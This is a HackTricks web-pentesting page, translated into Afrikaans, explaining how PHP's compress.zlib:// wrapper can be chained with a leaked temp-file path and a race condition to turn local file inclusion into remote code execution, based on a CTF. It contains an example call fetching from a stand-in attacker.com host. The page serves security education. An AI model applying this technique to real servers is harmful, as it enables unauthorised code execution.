hacktricks/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md

5.4 KiB

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}

WhiteIntel

WhiteIntel is 'n dark-web aangedrewe soekenjin wat gratis funksies bied om te kyk of 'n maatskappy of sy kliënte gekompromitteer is deur stealer malwares.

Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.

Jy kan hul webwerf besoek en hul enjin gratis probeer by:

{% embed url="https://whiteintel.io" %}


compress.zlib:// en PHP_STREAM_PREFER_STDIO

'n Lêer wat geopen is met die protokol compress.zlib:// met die vlag PHP_STREAM_PREFER_STDIO kan voortgaan om data te skryf wat later na die verbinding kom na dieselfde lêer.

Dit beteken dat 'n oproep soos:

file_get_contents("compress.zlib://http://attacker.com/file")

Sal 'n versoek stuur wat vra vir http://attacker.com/file, dan mag die bediener die versoek beantwoord met 'n geldige HTTP-respons, die verbinding oop hou, en ekstra data 'n rukkie later stuur wat ook in die lêer geskryf sal word.

Jy kan daardie inligting in hierdie deel van die php-src kode in main/streams/cast.c sien:

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Race Condition to RCE

Hierdie CTF is opgelos met die vorige truuk.

Die aanvaller sal die slagoffer bediener dwing om 'n verbinding te maak wat 'n lêer van die aanvaller se bediener lees met behulp van die compress.zlib protokol.

Terwyl hierdie verbinding bestaan, sal die aanvaller die pad na die tydelike lêer wat geskep is uitvoer (dit word deur die bediener gelek).

Terwyl die verbinding steeds oop is, sal die aanvaller 'n LFI benut wat die tydelike lêer laai wat hy beheer.

Daar is egter 'n kontrole in die webbediener wat voorkom dat lêers wat <? bevat, gelaai word. Daarom sal die aanvaller 'n Race Condition misbruik. In die verbinding wat steeds oop is, sal die aanvaller die PHP payload STEL na die webbediener gekontroleer het of die lêer die verbode karakters bevat, maar VOORDAT dit sy inhoud laai.

Vir meer inligting, kyk na die beskrywing van die Race Condition en die CTF in https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

WhiteIntel

WhiteIntel is 'n dark-web aangedrewe soekenjin wat gratis funksies bied om te kyk of 'n maatskappy of sy kliënte gekompromitteer is deur stealer malwares.

Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.

Jy kan hul webwerf besoek en hul enjin gratis probeer by:

{% embed url="https://whiteintel.io" %}

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}